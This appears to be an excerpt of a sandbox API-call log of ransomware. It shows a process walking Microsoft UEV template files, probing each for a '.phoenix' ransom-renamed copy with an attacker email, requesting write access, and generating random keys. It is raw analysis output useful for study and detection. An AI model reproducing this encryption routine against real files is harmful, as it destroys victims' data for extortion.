	[0250.665] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2539) returned 1
	[0250.665] CloseHandle (hObject=0x2c4) returned 1
	[0250.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml")) returned 0x20
	[0250.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.665] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.665] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.665] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.666] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3968) returned 1
	[0250.666] CloseHandle (hObject=0x2c4) returned 1
	[0250.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml")) returned 0x20
	[0250.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.666] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.666] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.666] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.666] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2865) returned 1
	[0250.666] CloseHandle (hObject=0x2c4) returned 1
	[0250.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml")) returned 0x20
	[0250.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.666] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.667] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.667] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.667] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2865) returned 1
	[0250.667] CloseHandle (hObject=0x2c4) returned 1
	[0250.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml")) returned 0x20
	[0250.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.667] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.667] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.667] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.667] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=957) returned 1
	[0250.667] CloseHandle (hObject=0x2c4) returned 1
	[0250.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml")) returned 0x20
	[0250.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.668] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.668] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.668] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.668] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=72785) returned 1
	[0250.668] CloseHandle (hObject=0x2c4) returned 1
	[0250.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml")) returned 0x20
	[0250.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.668] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.668] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.668] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.669] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=72785) returned 1
	[0250.669] CloseHandle (hObject=0x2c4) returned 1
	[0250.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml")) returned 0x20
	[0250.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.669] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.669] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.669] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.670] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=13160) returned 1
	[0250.670] CloseHandle (hObject=0x2c4) returned 1
	[0250.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml")) returned 0x20
	[0250.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.670] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.670] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.670] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.670] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=13160) returned 1
	[0250.670] CloseHandle (hObject=0x2c4) returned 1
	[0250.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml")) returned 0x20
	[0250.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.671] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.671] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.671] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.671] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=10596) returned 1
	[0250.671] CloseHandle (hObject=0x2c4) returned 1
	[0250.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml")) returned 0x20
	[0250.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.672] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.672] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.672] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.672] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=10596) returned 1
	[0250.672] CloseHandle (hObject=0x2c4) returned 1
	[0250.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml")) returned 0x20
	[0250.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.674] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.674] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.674] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.674] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=68367) returned 1
	[0250.674] CloseHandle (hObject=0x2c4) returned 1
	[0250.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml")) returned 0x20
	[0250.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.675] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.675] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.675] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.675] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=68367) returned 1
	[0250.675] CloseHandle (hObject=0x2c4) returned 1
	[0250.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml")) returned 0x20
	[0250.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.675] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.675] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.675] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.676] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=13160) returned 1
	[0250.676] CloseHandle (hObject=0x2c4) returned 1
	[0250.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml")) returned 0x20
	[0250.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.676] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.676] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.676] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.676] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=13160) returned 1
	[0250.676] CloseHandle (hObject=0x2c4) returned 1
	[0250.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml")) returned 0x20
	[0250.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.677] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.677] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.677] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.677] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=65731) returned 1
	[0250.677] CloseHandle (hObject=0x2c4) returned 1
	[0250.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml")) returned 0x20
	[0250.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
